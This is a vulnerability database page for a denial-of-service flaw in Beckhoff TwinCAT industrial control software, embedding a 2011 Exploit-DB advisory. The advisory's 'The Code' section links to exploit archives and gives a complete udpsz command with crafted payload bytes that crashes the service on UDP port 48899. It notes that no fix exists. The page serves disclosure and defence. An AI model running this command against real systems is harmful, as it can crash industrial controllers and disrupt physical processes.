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CVE Descriptions
Beckhoff TwinCAT 2.11.0.2004 and earlier allows remote attackers to cause a denial of service via a crafted request to UDP port 48899, which triggers an out-of-bounds read.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:N/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 17835
Publication date : 2011-09-13 22h00 +00:00
Author : Luigi Auriemma
EDB Verified : Yes
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Luigi Auriemma
Application: Beckhoff TwinCAT
http://www.beckhoff.de/twincat/
Versions: <= 2.11.0.2004
Platforms: Windows
Bug: Denial of Service
Exploitation: remote
Date: 13 Sep 2011
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
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1) Introduction
2) Bug
3) The Code
4) Fix
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===============
1) Introduction
===============
From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station."
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2) Bug
======
Denial of Service caused by an invalid read access.
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===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip
udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe
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4) Fix
======
No fix.
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Products Mentioned
Configuraton 0
Beckhoff>>Twincat >> Version To (including) 2.11.0.2004
- Beckhoff>>Twincat >> Version - (Open CPE detail)
- Beckhoff>>Twincat >> Version 2.0 (Open CPE detail)
- Beckhoff>>Twincat >> Version 2.11 (Open CPE detail)
- Beckhoff>>Twincat >> Version 2.11 (Open CPE detail)
Beckhoff>>Twincat >> Version 2.7
Beckhoff>>Twincat >> Version 2.8
Beckhoff>>Twincat >> Version 2.9
Beckhoff>>Twincat >> Version 2.10
